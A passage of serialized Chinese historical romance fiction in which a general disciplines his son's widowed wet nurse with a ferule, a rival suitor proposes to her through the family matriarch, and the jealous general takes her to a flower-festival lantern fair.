膝盖磕在青砖上,闷闷的一声响,疼得她眼眶发酸。 她垂着头,把脸埋得低低的,露出一截白细的后颈,肩胛骨的轮廓薄薄地撑起衣裳,整个人缩在那,像只犯了错的猫,瑟瑟发抖。 楚烬没动,就那么站着,居高临下地看着她跪在自己面前。 随后他缓缓开口, “你明知道那晚在阁楼,本将军酒后要了饶宛儿,虽然未来得及抬为妾室,但她已是我的人,你在明知她要私逃后却不上报,便是纵容之罪。” “按照府规,当以家法处置。” 他顿了顿,看着低垂着头的小妇人,声音重了些许,“ “你可有什么要说的?” 罗苒垂着头,背脊绷得紧紧的,肩胛骨的轮廓在薄薄的衣衫下愈发明显。 事已至此她还能说什么?难不成要跟楚烬说,那晚他在阁楼差点要了的人其实是自己? 那搞不好自己死的会更快。 她只能压着惧意,小声道,“大爷开恩……” 楚烬见她吓成这样,却翻来覆去还是这四个字,脸色冷了下来, “这几日你便不乖顺……这次,想让爷怎么罚你?” 他语气里带着几分耐人寻味的意味,目光从她低垂的后颈慢慢滑过,像一条看不见的线,从她的发根一路描到衣领遮住的地方。 罗苒身子因为楚烬阴森森的话不禁一颤。 目光落在光滑的青砖上,能看见自己模糊的影子。 只能词乏的再次低声求, “大爷开恩……” 楚烬没说话。 可罗苒能感觉到他的目光盯着自己。 那目光沉甸甸地让她心尖发颤。 一阵窸窣声响。 楚烬往前一步,靴尖往前挪了半寸,几乎碰到她低垂的眼前。 罗苒下意识往后缩了缩,屁股刚抬起来,又想到如今的处境,硬生生停住了,咬着唇,僵在那儿,不敢动。 “手伸出来。” 声音不重,却带着一股叫人不敢违逆的压迫感。 罗苒愣了一下,不明所以,但还是慢慢伸出双手,掌心朝上,举过头顶,摊在楚烬面前。 那双手细细白白的,手指纤长,骨节小巧,指尖还带着方才搓衣裳留下的淡粉色,微微发着抖,像两片风中的花瓣,颤巍巍地托在他眼皮底下。 楚烬垂眼看着她那双手。 片刻后,他抬起手。 “呀!” 掌心突然像被火舌舔了一下,火辣辣的疼猝不及防。 罗苒本能地轻喊出声,手缩了回来,攥成拳头护在胸口。 她瞪大眼睛,诧异地抬头看着上方的男人,似乎没想到他会突然发难。 楚烬站在她面前,高大得像一座山,手里不知何时多了一根细长的乌木戒尺。 那戒尺通体乌黑,打磨得光滑发亮,边缘薄薄的,泛着冷冷的寒光。 握在他骨节分明的大手里,看着就让人心里发怵。 楚烬垂眸和她对视,眼眸深沉,嘴角微微挑起,那轻笑中带着浓浓的压迫,还有一丝说不清道不明的东西。 “隐瞒不报,按府规,本应鞭挞四十。” 他慢悠悠地开口,声音低低沉沉的,目光却一直盯着罗苒娇柔的脸庞, “念在你还要给衍儿喂奶,便打手二十。” 他把戒尺在掌心轻轻敲了一下,发出清脆的声响。 “手举高,自己数好了。” 罗苒咬了咬唇,睫毛不安地颤着,把那双手重新举过头顶。 掌心朝上,白生生的,细嫩的皮肤下隐约能看见浅浅的青色血管,方才那一道红痕已经浮起来了,横在掌心,像雪地里落了一片桃花瓣。 “是……” 她声音发颤,已经带上了浓重的鼻音。 她举着双手跪在那里,腰身因为疼痛和紧张微微塌了下去,脊背弯出一道柔软的弧线,像一株被雨打弯的细柳。 衣裳被这姿势绷紧了,勾勒出纤细的腰身。 楚烬看着她那副样子,喉结滚了滚。 戒尺没落在她掌心,反而伸出去,不重不轻地戳在她塌下去的腰窝上。 那乌木的尖端抵着那处柔软,凉丝丝的,隔着薄薄的衣料陷进去一小块。 罗苒整个人一僵,像被点了穴似的,连呼吸都停了。 “跪好,腰挺直……” 他声音低低的,戒尺没收回,就那么戳着她的腰,往前抵了抵。 罗苒被他戳得往前挪了挪,腰身绷直了,脊背挺起来,不敢再塌。 可那戒尺还抵在那里,不轻不重地压着,她能感觉到乌木的凉意透过衣料渗进皮肤里。 这样的情况下,不知怎的耳朵尖竟红了。 楚烬看着她那截绷直的腰,戒尺顺着罗苒的脊柱慢慢往上划了一小段,从腰窝滑到背心,像在描一幅画。 那动作极慢,慢到她能感觉到乌木上每一道细纹擦过衣裳的触感。 呼吸竟这样乱了几分,胸口起伏着,却不敢动,只死死咬着唇,把那点慌乱咽回肚子里。 戒尺停在她背心正中的位置,轻轻点了点。 “背也挺直。” 罗苒不敢吭声,把腰又挺了挺,整个人绷得像一张拉满的弓。 她举着双手的姿势让肩胛骨的轮廓在衣裳底下凸出来,薄薄的两片,像蝴蝶收拢的翅膀,微微发着抖。 戒尺终于从那单薄的背上移开,重新举起来,迅速落下。 乌木的影子从罗苒头顶掠过。 罗苒只感觉掌心像被蜂蛰了一下,麻麻的疼感从皮肤表面渗进去,顺着掌心的纹路往骨头里钻。 第30章 莫不是以为撒个娇爷就能放过你? 罗苒咬着唇,把那声惊呼咽回去,只从喉咙里漏出一声极轻的“嗯”。 但很快止住,颤着声,“一……” 泪意涌上来,在眼眶里打转。 楚烬没急着落第二记。 他垂眼看着她掌心浮起的那两道红痕,在白嫩的皮肤上格外刺目。 她的手指蜷了蜷,又强迫自己伸直,摊平,举高,乖乖地等着下一记。 第二记落下来,比方才重了些。 两道的红痕叠在一处,肿起来,微微发亮。 罗苒想到这样的疼她还要再挨十八下,屈辱惧怕交织,眼泪就再也忍不住,啪嗒一声,滴落在衣襟上,洇开一小片湿痕。 她不敢哭出声,只咬着唇,把那点呜咽含在喉咙里。 楚烬看着罗苒泪眼朦胧的模样,嘴角微微弯了弯。 “怎么?委屈?” 他慢悠悠地开口,修长的手指有意无意地摩挲着戒尺, “既然做错了事,便要受罚……” “可要数好了,漏了或是错了,可是要重新数的。” 话音落下,第三记便落了下来。 “啊!” 罗苒痛得失声,那戒尺精准地打在已经红肿的位置,疼痛尖锐地蹿上来。 她本能地缩回手,护在胸口,整个人缩成一团。 楚烬微微歪头,目光幽幽地看着垂头抱着自己双手啜泣的小娘子,继续不紧不慢地, “没喊数,重新算。” 罗苒瘪了瘪嘴,眼泪又落下两颗。 这二十手板虽然比四十鞭挞轻多了,可要真结结实实地挨完,这双手怕是几天都拿不了东西。 更何况楚烬显然还带着玩弄她的心思,数错数漏便要重新算,那何时是个头? 她咬着唇,心里又怕又委屈,急中生智间她抬起眼帘,含着泪水可怜兮兮的微仰着脸看向楚烬。 她知道自己这样的角度很好看。 而事实也确实如此。 此时楚烬眼中,这小妇人纤长的睫毛上挂着泪珠,颤巍巍的,像雨后花瓣上欲坠未坠的露水。 眼尾红红的,像是被人用手指揉过,洇开一抹浅淡的绯色。 嘴唇因为咬过而微微泛着水光,她整个人跪在那儿,仰着脸望他,像一只被雨淋湿的猫,看起来无辜又可怜,让人忍不住想伸手摸一摸。 罗苒见楚烬看着自己的目光顿住,刻意把声音放得比之前还要娇软一些,带着让人垂怜的颤音, “大爷,奴婢真的知道错了……您就饶了奴婢这一遭吧……” 那声音像猫爪子在人心口轻轻挠了一下。 楚烬似回过神来,嘴角轻挑,轻笑一声,那笑意里带着几分玩味, “怎么?莫不是以为撒个娇爷就能放过你?他人大庭广众告发了你,若是不加以惩治,这楚府下人以后还如何管教?” 他顿了顿,目光从她湿漉漉的睫毛滑到她微张的唇,声音低了几分, “还是说,你自以为和其他下人不同?” 罗苒哪敢那样自以为,抿着嘴不吭声,眼泪又掉下来一颗,顺着脸颊滑下去。 楚烬看着那滴泪,浓眉似轻皱了一瞬, “手伸出来。” 他沉沉开口。 罗苒看着他手中闪着寒光的戒尺,又听他话语间的凌厉,心有余悸。 慌忙将原本抱在胸前还火辣辣的手背到身后。 她睁着黑黝黝湿漉漉的眼睛望着楚烬,望着楚烬拼命摇头, “爷,奴婢的手还要抱衍哥儿……打坏了就抱不稳了……” 楚烬倒是从未见过罗苒这副样子。 整日逆来顺受的小娘子,被欺负了就知道低着头掉眼泪,连大气都不敢喘一口,今日竟也有胆子耍赖了。 想来确实是疼了,被逼急了,才会这样。 他看着她背在身后的手,那两只手藏在腰间拳头攒得紧紧的,像是怕他抢过去似的。 他嘴角微微弯了弯,又压下去,大喇喇地蹲下身来,与她平视。 铠甲已经脱了,他身上只穿了一身轻薄的便衣,蹲下来的时候衣料绷在肩上,勾勒出宽厚的轮廓。 他刻意压低声音,装出几分严厉, “好啊,还敢拿衍哥儿说事?” 罗苒身子一抖,背在身后的手攥得更紧了。 她就那么望着他,眼泪早已经糊了满脸,鼻尖红红的,嘴唇也因为方才咬过而泛着水光。 摇头的时候,一缕碎发从耳边滑落下来,贴在湿漉漉的脸颊上,惨兮兮的。 楚烬看着她这副模样,目光顿了顿。 这女人对着其他男人会说会笑,见到他时却总是唯唯诺诺的,就跟老鼠见了猫似的,恨不得把头埋进地里。 说了多少次说话时要抬头,她总是不听,垂着眼,低着头,连看都不敢看他一眼。 如今倒好,教训了几下,不但会撒娇了,说话时也肯抬眼瞧人了。 被那双眼睛一瞬不瞬地望着。 楚烬眼底有什么东西动了一下,面上依旧不显。 “今日倒是会抬头说话了。” 他开口,声音比方才缓了些,那点刻意装出来的严厉也散了大半。 顿了顿,这才慢悠悠地补了一句, “若有下次,剩下的翻倍。” 罗苒泪盈盈地望着他,怔愣了一下,像是没听清。 楚烬没再说话,只站起来,居高临下地看了她一眼。 那目光从她泪湿的睫毛滑到她红红的鼻尖,又落回她那双还泛着水光的眼睛上。 手中戒尺放在一书案上。 “吧嗒”一声。 “还不起来?难不成还想跟上次一样让爷抱?” 罗苒这才反应过来,慌忙从地上爬起来,道了一声转头迈着小步匆匆离开。 出了楚烬的院子,她才敢放缓脚步,展开手掌低头看了一眼。 掌心还是红肿的,火辣辣地疼,好在只挨了三下。 她把手攥起来,塞进袖子里,快步往衍哥儿院走。 刚迈进院子,眼尖的李婆婆就看见了她。 两个婆子正在院里哄衍哥儿和小玥吃饭,见她进来,李婆婆慌忙招呼她过去。 罗苒走近才发现,裴济竟也在。 原来裴济听说她出了事,第一时间就赶来衍哥儿院寻她,方才正问着李婆婆和刘婆婆。 罗苒看见裴济眼中那抹关切之意,对他笑了笑, “谢裴公子记挂,罗苒无事……” 话还没说完,李婆婆眼尖,瞧见她红肿的眼眶,明显是哭过的,哪像没事的样子,忙道, “罗娘子这是被大爷罚了?要不要去让府医瞧瞧?” 第31章 挖墙脚 罗苒勉强笑了笑, “李婆婆,我没事,大爷念在我要照顾衍哥儿,没有用鞭刑,只是打了手板,小惩大戒罢了。” 话说完,众人才看见她紧攥着的手掌。 她生得白,那几道红痕便格外醒目,肿起来的地方微微发亮,看着就疼。 刘婆子叹了口气,压着声音道, “我们方才还在说,饶宛儿私逃是她的事,与你有何相干?就算你知道她有那个念头,又不确定是不是只是玩笑,她一个主子,你一个下人,哪能贸然去告发?” 她顿了顿,又看了罗苒一眼, “我们也都瞧出来了,大爷这段时间似乎看你格外不顺眼,所以这事也迁怒于你。” 李婆婆也接了话,语气里带着几分同情, “可不是,之前罚跪,后来又是挑剔嫌弃,如今又打手板子……罗娘子,看大爷这态度,你之后在楚府的日子怕是不好过哦。” 罗苒垂着头,心里也不好受,只低低应了一声,没有接话。 一旁裴济听着两个婆子的话,眉头越皱越紧,一副揪心的模样。 罚跪的事罗苒有多无辜,他再清楚不过。 如今又听说这段时间楚烬处处为难她,现在甚至为了一个根本不算错处的罪名,对她动了家法。 他胸口憋着一口气,声音压得低,却掩不住那股子不平, “一介大丈夫,保家卫国,心系民生才是正道。为难一介妇人算什么?” 两个婆子都是过来人,听他这话,又看他方才一听罗苒出事便赶来的样子,对视一眼,心里便有了几分了然。 刘婆子忽然笑着开口, “裴公子看起来也是真心记挂罗娘子,裴公子一表人才,不如直接娶了罗娘子,这样罗娘子就成了大爷的表婶,大爷定不会再为难了。” 罗苒被刘婆婆这话吓了一跳,脸都惊红了,慌忙摆手,“刘婆婆,您可别乱说。” 正巧这时衍哥儿哭了,小手一个劲地往罗苒那里伸,显然是想吃奶了。 罗苒便匆匆抱着孩子进了屋。 裴济站在原地,看着那道纤瘦的背影消失在门帘后面,清俊的脸上若有所思,目光里带着几分说不清道不明的情绪。 第二日,罗苒正在院里哄衍哥儿,有人来传话,说老夫人想见衍哥儿,让她抱到院子里去。 罗苒应了,抱着衍哥儿往老夫人院中走。 老夫人的院子比旁处都华贵些,廊下挂着八角宫灯,窗棂上雕着缠枝花纹,连门槛都比别处高出一截。 罗苒抱着孩子低头走进去,一抬眼,却见裴济也在。 他坐在老夫人下首,手里端着茶盏。 听见脚步声抬头,看见是她,目光竟闪了闪,像是有些不好意思,耳根微微泛红,别过脸去喝茶。 罗苒没多想,抱着衍哥儿上前给老夫人行礼。 老夫人一身绛紫福纹锦袍,坐在上首,精神矍铄。 让罗苒抱着衍哥儿上前,一边逗弄着孩子,一边不动声色地打量她。 那目光温和却不含糊,从她眉眼看到衣襟,又从衣襟看到抱着孩子的手,上上下下地看了个遍。 逗了一会儿衍哥儿,老夫人像是随口问起, “你这小奶娘,多大了?” “回老夫人,奴婢二十二了。” 老夫人点点头,目光往裴济那边飘了一下, “比你小五岁,年龄倒也合适。” 裴济手里的茶盏晃了晃,耳根更红了,慌忙道, “姑母,你说什么呢……八字还没一撇的事……” 老夫人看着一向稳重的表侄难得露出这副模样,笑吟吟地收回目光,又看向罗苒,语气和缓了不少, “我听说,衍儿自来府上就是你带的,养得很好。既然是烬儿定下的奶娘,想来人品才情都不会差。” 她顿了顿,“只是听说你丈夫去世了,还带着个女儿?” 罗苒点头,老老实实答道, “是的,奴婢女儿刚满一岁。大爷开恩,允奴婢带着她一起住在府里,和衍哥儿一处哄。” 老夫人叹了口气,目光里带着几分怜惜, “也是个可怜人儿。” 她端起茶盏抿了一口,放下,忽然话锋一转,语气却还是那样不紧不慢的, “今日济儿来找我,说有中意的人了,把老身高兴坏了。细问之下才知道,原来是衍儿的奶娘……” 罗苒意识到这话中的意思,诧异之余不由看了裴济一眼。 裴济的耳根更红了,垂着眼不敢看她,连那副清俊的模样都添了几分局促。 老夫人继续说道, “我们济儿虽说家不在帝都,但北方也有良田商铺,又是书香门第出身,底子不差的。我本意是让他纳你做平妻,可他不肯,说不在乎你之前的种种,只想诚心实意地娶你……” 她看着罗苒,目光慈和, “我看他这样,是确实真心中意你。所以便唤你来,问问你的意思。若是两情相悦,我便做主,给你们把这事定下来。” 罗苒还懵着。 她张了张嘴,还没来得及说话,一道低沉的男声蓦然响起。 “表叔这是在挖我墙角吗?” 众人闻声看去,楚烬不知何时出现在了门口。 他今日穿着深紫色的绸缎锦袍,腰间束着金丝腰带,衬得肩宽腰窄,贵气逼人。 他边说边走近,步子不紧不慢,目光从老夫人身上移到裴济脸上,又不动声色地掠过罗苒。 “难得今日空闲,想着来给祖母问安,” 他在老夫人身侧站定,嘴角微微弯着,笑意却不达眼底, “就听到祖母帮着表叔一起挖烬儿的墙角。” 老夫人见孙儿来了,脸上绽开笑,抬手在他胳膊上轻轻拍了一下,笑呵呵地斥道, “你这孩子,净说些让人误会的话,什么挖墙脚?让旁人听了,还以为这罗娘是你院里的人呢。” 楚烬看了一眼面容恬静抱着衍哥儿站在一旁的罗苒,语气淡淡的, “她是衍儿的奶娘,不就是我院里的人?” 裴济站在对面,闻言看了楚烬一眼,声音温和却不退让, “那是你院里的下人,差一个字,意思可全然不相同。” 楚烬看向裴济,似笑非笑的,目光里带着几分玩味, “表叔也有意思,想要讨我院里的人,跟我说便是,怎还到闹祖母面前来了?” 第32章 也不是见色起意 裴济正色道, “我是真心求娶罗娘,又不是讨要奴才下人,自然要正式一些。” 楚烬挑眉,目光在裴济脸上停了一瞬,又扫过垂着头的罗苒,玩味之意更浓几分,“表叔倒是对这小奶娘情深义重啊。” 他转头看向老夫人,语气放软了些, “祖母偏心,您孙儿还没有媳妇,您现在倒先给表叔做起媒来了。” 老夫人笑吟吟地看着他,目光里满是慈爱, “又不是没给你介绍,多少世家小姐眼巴巴地盼着你呢,是你自己瞧不上。” 楚烬轻笑一声,语气里带着几分漫不经心, “我又不喜欢那些骄纵任性的大小姐。” 老夫人来了兴致,追问道, “那你喜欢什么样的?” “喜欢乖顺柔嫩的……” 楚烬说话间,目光拂过罗苒白嫩安静的脸,慢悠悠地补了一句, “一掐一股水的那种。” 罗苒垂着眼,不想自作多情,可楚烬那目光饶有意味地从她脸上滑过,她不知怎么就脸热起来。 老夫人只当他在嘴贫,笑着打趣, “你就嘴贫吧,真要找出那样的,你到时又要嫌弃人家太娇嫩了。我看你就是不想找,整日拿这些有的没的搪塞我老人家。” 她笑着收回目光,重新看向安静抱着衍哥儿的罗苒,语气恢复了方才的正经。 “罗娘子,你是怎么想的?可是愿意?” 罗苒这才从方才那几句话里回过神来。 她确实没想到,裴济对她竟然有这种心思。 两人说起来并无多少交集,来来回回也就说过几句话而已。 她一直以为他只是出于读书人的教养,对她客气有礼,从未往别处想过。 更何况…… 她又想起楚烬在军营时那凶巴巴的警告模样,不由缩了缩脖子,下意识看了楚烬一眼。 他竟也在看她,那目光幽幽闪闪的,像冬日里燃着的一簇火。 慌忙垂下目光,罗苒稳了稳心神。 “谢老夫人和裴公子赏识。”她的声音不大,却清清楚楚的, “只是罗苒如今还要专心带衍哥儿,近期并没有这种想法……” 楚烬眼底浮起一丝笑意,看向裴济,语 “表叔,看样子我们小奶娘没看中你。” 老夫人倒也不恼,也没怪罗苒不识抬举的意思,笑着摆摆手, “老身知道,蓦然提及这事,你也定然没办法立马给回复。但老身担保,我这个表侄,绝对是可托付终生之人。” 她顿了顿, “给你时间,你好好考虑考虑。这期间也可以试着跟济儿接触接触,可好?” 老夫人都这样说了,罗苒自然没有拒绝的理由,只轻轻点了点头。 抱着衍哥儿退下的时候,裴济追了出来。 罗苒走在前头,见他追来,便知他有话要说,脚步顿了顿。 裴济快走几步跟上来,在她身侧站定,他走得有些急,耳根还红着。 罗苒看了他一眼,目光里还带着几分没散去的诧异和茫然。 裴济被她看得更不好意思了,清了清嗓子,低声道, “衍儿沉,我来抱吧。” 罗苒往后退了半步,礼貌地摇了摇头,“不用了。” 衍哥儿也配合,小手搂着罗苒的脖子不撒手,把小脸埋在她肩窝里,看都不看裴济一眼。 裴济也不勉强,只放慢脚步,走在她身侧,不远不近的。 两人并肩走了一段,他才开口,声音温和,像是在斟酌措辞, “我找姑母,并不是想要逼你什么,只是觉得……若是亲口跟你说,显得不够重视。” 他顿了顿,侧头看她, “让姑母转达,便是为了让你清楚,我是诚心的,并不是一时兴起,也不是……” 他说到这儿,声音低了些,耳根又红了, “也不是见色起意。” 罗苒脚步慢了慢,垂下眼,轻声道, “裴公子,我可只是一个奶娘,还是个寡妇……” 裴济随即接话,声音依旧温和,却比方才认真了几分, “那又怎样?我不也是一介书生,连个功名都没有。” 他看着她,目光坦荡, “罗娘子,我是真心的……不逼你,只是想让你知道我的心意。” 他低头看了看她怀里的衍哥儿,又看了看她,声音放得更轻了些, “小玥我也喜欢,若是我们真有缘,以后定然会当做亲生女儿对待。” 罗苒抱着衍哥儿的手紧了紧,没说话。 裴济也不急,只陪着她慢慢走, “我知道你拿衍儿当自己孩子看待,也舍不得他,但你终究只是他的奶娘,他早晚有断奶的那一天,阿烬又总处处为难你,到时候,你又该何去何从?” “下个月我便要考科举了,待考完,还有两个月的时间,我真心希望……你能考虑考虑我。” 说完这话,他便没再开口,只安安静静地走在她身侧,将她送回了衍哥儿院子。 之后的日子,裴济往衍哥儿院跑得格外勤。 有时带几本书来,坐在廊下安安静静地看,偶尔抬头看看罗苒哄孩子。 有时带些小点心,说是外头买的,给衍哥儿小玥尝尝。 衍哥儿不知为何不太喜欢跟裴济抱,小玥倒是不认生,见了裴济就笑,伸着手要他抱。 裴济便把她抱起来,举得高高的,逗得小玥咯咯笑个不停。 罗苒在一旁看着,不由想着小玥虽然小,但心里也是渴望父爱的吧…… 顿时心里说不上是什么滋味。 楚烬似乎并不太乐意裴济总往这边跑,可碍于老夫人亲口说过让两人“接触接触”,便不好说什么。 只是每次裴济来的时候,他总会有事没事地路过衍哥儿院子,冷着脸看一眼,又大步离开,衣袍带起的风能把廊下的花盆吹歪。 这天下午,裴济又来了。 他手里拿着一个小小的锦盒,递到罗苒面前, “今日在街上瞧见的,觉得适合你,便买了。” 罗苒打开一看,是一朵绒花。 花瓣层层叠叠,粉白色的,做得极精致,花蕊处还缀着几颗细小的珠子,在日光下泛着柔润的光。 “裴公子,这太贵重了……” 罗苒有些不好意思,想把锦盒还回去。 第33章 你们还真的接触起来了? 裴济没接,只笑了笑, “不贵重,就是个小玩意儿。” 他顿了顿,像是鼓了鼓勇气, “今晚花朝节,街上会很热闹,我想带着你和小玥出去看看。” 罗苒愣了一下,下意识想拒绝。 裴济却先开了口,语气温和却带着几分坚持, “你别多想,只是朋友间的那种相约,去看看花灯,散散心,你整日在院里带孩子,小玥也整日困在着院中,她现在也慢慢大了,也该出去瞧瞧外面的光景了。” 裴济提及小玥,罗苒便动心了。 思索片刻,便点了头。 裴济走后,罗苒把锦盒放在桌上,转身去给衍哥儿喂奶。 衍哥儿吃饱了,又哄了好一会儿才睡着。 她轻手轻脚地把衍哥儿放进摇篮,盖好小被子,这才有空去瞧那朵绒花。 楚烬不知什么时候来的,正大喇喇地坐在一旁的太师椅上,手里端着茶盏,慢悠悠地喝着。 罗苒见到他规规矩矩的喊了一声。 楚烬仍旧是那副让人捉摸不透的冷脸。 罗苒也多多少少有点习惯了。 本想像往常一样在一旁候着等候差遣,似是想起了那绒花,下意识往桌上一看,锦盒却不见了踪影。 罗苒又往桌下瞅了瞅,还是没有。 “奇怪……” 楚烬今日穿了一身便衣,袖口挽着,露出结实的小臂,整个人懒懒散散的,目光却一直跟着她转。 “在找什么?” 罗苒目光扫了一圈没找到,忍不住问他, “大爷,您方才进来时,有没有看到桌上放着一个锦盒?” 楚烬放下茶盏,挑了挑眉,明知故问道,“什么锦盒?” “就是一个装绒花的盒子。” 罗苒比划了一下,“粉白色的,大概这么大。” 楚烬面无表情地看了她一眼,声音淡淡的, “没看见。” 罗苒疑惑,“我明明记得就放在这里的……怎么一转眼就不见了……” 楚烬看着她那张因为找不到绒花而皱起的小脸,清了清嗓子说道, “你在楚府做工,就该把心思放在活计上,怎还打扮起来了?” 罗苒抬起头,忙道, “我没有……这是裴公子送的,刚送来,我还没戴……” 楚烬一听是裴济送的,脸色更臭了。 他移开目光,声音里带着几分漫不经心的嫌弃, “那种廉价的东西,指不定被哪个打扫卫生的丫鬟当垃圾扔了。” 罗苒急了。 那绒花在裴济眼里可能不算什么,可在她们这些平民百姓眼里,已经算是不可多得的饰品了,若就这么白白扔了实在可惜。 “大爷,奴婢先出去一趟……” 说着抬脚就要往外去找。 “站住。” 楚烬的声音从身后传来。 罗苒脚步一顿,硬生生停住了。 楚烬走过来,居高临下地看着她, “让你去了吗?这几日越发没规矩了。” 一开始被这样训,罗苒还会红眼眶,心里委屈得不行。 但这段时间被训的多了,倒慢慢摸出些门道。 楚烬这人看着凶恶,嘴上不饶人,其实也不一定就是真的。 就像上次被打手板,他嘴上说着撒娇没用定要以儆效尤,可最后三下打完就收了手,剩下的十七下,提都没再提。 罗苒偷偷抬眼看了一下楚烬,见他脸色虽然还冷着,却也没真要发落她的意思。 便老老实实站在一旁,不顶嘴,也不急着往外跑了。 楚烬见她这副乖顺的模样,脸色稍霁,开口问道, “刚刚管家跟我说,裴济跟他讲,晚间要带你和小玥出府?” 罗苒点了点头,“是的,难得花朝节,裴公子说要带我和小玥出去看看热闹。” 楚烬的脸色更难看了,声音拔高了几分, “祖母让你们接触,你们还真的接触起来了?” “那日你不是说得清清楚楚,只想安安稳稳带衍儿,短期并无再找的想法?” 罗苒看着楚烬阴沉的脸色,小心翼翼地回, “奴婢对裴公子也确实没有那个想法,只是朋友相约,出去看看花灯罢了,而且,毕竟老夫人吩咐过的,奴婢不敢驳了老夫人的面子……” 提及老夫人,楚烬也不便在多说什么。 只沉沉地看了她一眼,转身大步走了。 罗苒站在原地,看着那高大背影消失在门口,总觉得他那眼神里藏着什么,可她不敢深想。 到了晚间,罗苒把衍哥儿哄睡,确认他睡得沉了,才轻手轻脚地出了门。 她换下了下人的粗布衣裳,穿了一件半旧的青色衫子,头发也重新挽过,虽然简简单单,却比平日还要柔美几分。 裴济已经在院门口等着了。 他穿着一身白色的长衫,手里提着一盏灯笼,暖黄的光映在他脸上,把那副的眉眼照得格外柔和。 看见罗苒抱着小玥出来,他眼前一亮,目光在她身上停了一瞬,随即笑着迎上去,顺势接过小玥。 “罗娘,走吧。” 二人刚走了几步,却隐约看到不远处廊下有一个高大身影。 走近才发现竟是楚烬,怀里还抱着衍哥儿。 衍哥儿不知什么时候醒了,正窝在他怀里,小脸皱成一团,哼哼唧唧的,像是刚哭过。 一见到罗苒,他就一个劲地朝她伸手,小嘴一瘪,又哇哇大哭起来。 罗苒诧异的同时本能的上前接过大哭不止的衍哥儿,下意识问道, “大爷怎抱着衍哥儿在这里?” 楚烬皱着眉头,好看的脸上一副困扰的样子, “刚刚路过衍哥儿院,就听他在哭,婆子也哄不好,也不知怎的了,可能是哪里不舒服吧?” 只是,“不舒服”的衍哥儿一到了罗苒怀里就不哭了。 只一个劲地用肉肉的小拳头揉眼睛,显然是困得厉害了。 罗苒仔细摸了摸他的额头,又看了看他的脸色,确认不是不舒服,这才松了口气,轻轻拍着他的背哄着。 衍哥儿攥着罗苒的衣裳,攥得紧紧的,小脸埋在她肩窝里,不肯撒手。 一看这情况,今晚是走不了了。 罗苒有些无奈地看向裴济,声音里带着歉意, “裴公子,衍哥儿醒了,再哄睡的话可能很晚了,今日怕是去不了了,改日吧……” 第34章 花朝节还没散 裴济裴济看了看衍哥儿那副黏人的模样,倒也体谅,温和地笑了笑, “没关系,花朝节有三日,改日再去也一样。” 楚烬从裴济手中接过小玥,小玥倒是乖,跟谁抱都行,睁着圆溜溜的眼睛看热闹。 楚烬单手抱着孩子,嘴角微微勾了勾,语气不咸不淡, “表叔,不好意思了,她得回去哄我儿子了。” 裴济看了他一眼,也不知看没看到他眼中隐隐的得意,没说什么,只对罗苒又笑了笑, “你回去后也早些休息。” 罗苒抱着衍哥儿往回走,楚烬单手抱着小玥跟在她身侧。 衍哥儿紧趴在她身上,小手攥着她的衣领,已经昏昏欲睡了。 罗苒一边轻拍着他的背安抚着,一边小声嘟囔, “衍哥儿睡觉一向很乖的,平日里晚上睡了就不会醒的……今日这是怎么了?” 楚烬把目光移开, “这谁知道。” 他的声音听起来平平常常,可罗苒总觉得哪里不对劲。 她侧过头看了他一眼,他正目视前方,面无表情,月光落在他棱角分明的侧脸上,确实看不出什么端倪。 回到衍哥儿院里,罗苒哄了好一会儿,衍哥儿才彻底睡沉。 罗苒直起身,轻手轻脚地出了房间。 出来才发现,小玥也被当值的李婆婆哄睡了。 小小的身子窝在软塌上,脸蛋红扑扑的。 楚烬还没走,手里端着茶盏,慢悠悠地喝着,见她出来,他放下茶盏,看似随意地对李婆婆道 “夜深了,小孩子睡着了不易抱着乱走,把她放衍哥儿屋一起睡吧。” 李婆婆应了一声,便去安置小玥了。 楚烬站起来,看向罗苒, “走吧。” “去哪儿?”罗苒愣了一下。 “花朝节还没散。” 他开口,声音低低的,带着点漫不经心, 又补了一句:“别回头再怪爷耽误你去看花灯。” 楚烬不等罗苒回答,已经大步流星地往外走了。 罗苒只能跟上去,小跑了几步才追上他的步子。 花朝节的灯会就在楚府不远,出府门拐过两条街就到了。 街上果然热闹,花灯如昼,人流如织,空气中飘着糖炒栗子和桂花糕的甜香。 小贩的吆喝声、孩子的欢笑声、姑娘们的娇嗔声混在一处,熙熙攘攘的,像一锅煮沸了的甜汤。 罗苒自打投奔徐曼羽来到楚府后,便再没出过府门。 老家那偏僻地方,也从来没有这样盛大繁华的灯会。 她一下子被吸引住了,跟着人流走,四处张望,看哪都觉得新奇,只觉得眼睛都不够用了。 她看花灯,看糖人,看杂耍,看什么都要多瞧两眼,脚步不知不觉就慢了下来。 身后传来一声轻咳,罗苒回过神来,才发现楚烬不知什么时候落到了她身后。 正站在一个首饰摊位前,手里正摆弄着什么。 罗苒走过去,还没来得及开口,就见楚烬朝她抬起手,一根精致的发簪插进了她发髻里。 金镶玉的簪身,顶端嵌着一颗小小的蓝宝石,在灯火下泛着淡淡的光彩,衬着罗苒乌黑的发,好看得紧。 罗苒慌忙抬手要去摘, “这太贵重了,奴婢……” 楚烬按住她的手,掌心粗糙滚烫,贴在她手背上,只一瞬就松开了。“让你戴着就戴着。” 他别过脸去,声音淡淡的,带着点嫌弃 “真该没事带你出来见见世面,省得一个廉价的绒花就能把你拐了去。” 说完,转身大步往前走,留罗苒站在原地,发髻上多了根簪子,脸上多了两团红晕。 灯会上还有许多小游戏。 砸沙包的摊位围了不少人,架子上摆了许多精致的小玩意。 木雕的小马车、布老虎、泥人儿,样样都讨人喜欢。 罗苒驻足看了一会儿,正好有个年轻人投中了一个小泥人,周围响起几声叫好。 罗苒看着,不由小声说了句,“他好厉害。” 楚烬站在她身后,目光从那个得意洋洋的年轻人身上扫过,又落回罗苒那张满是佩服的小脸上,嘴角微微往下压了压。 没说话,只暗暗从袖中摸出几个铜板,扔给摊主。 摊主接过钱,递过来几个沙包。 楚烬挽了挽袖子,露出一截结实的小臂,青筋微微凸起,肌肉线条流畅有力,一看就是练家子的手。 他接过沙包,在手里掂了掂,沙包在他掌心里像个石子似的,轻飘飘的,没什么分量。 他胳膊上的肌肉微微鼓起来,暗暗发力,沙包脱手而出。 “砰”的一声,没砸中架子上的玩具,倒是不偏不倚砸在了木架子的立柱上。 那架子晃了晃,上面的玩具跟着颤了几颤,却没倒。 旁边有人小声嘀咕,“偏了偏了,没瞄准。” 楚烬面不改色,又接过一个沙包。 这回他加了力道,沙包带着风声砸过去,正中同一个位置。 木架子晃得更厉害了,咯吱咯吱响了几声,还是没倒。 摊主松了口气,旁边看热闹的人交头接耳,觉得这位爷虽然看着身强力壮,准头却不怎么样。 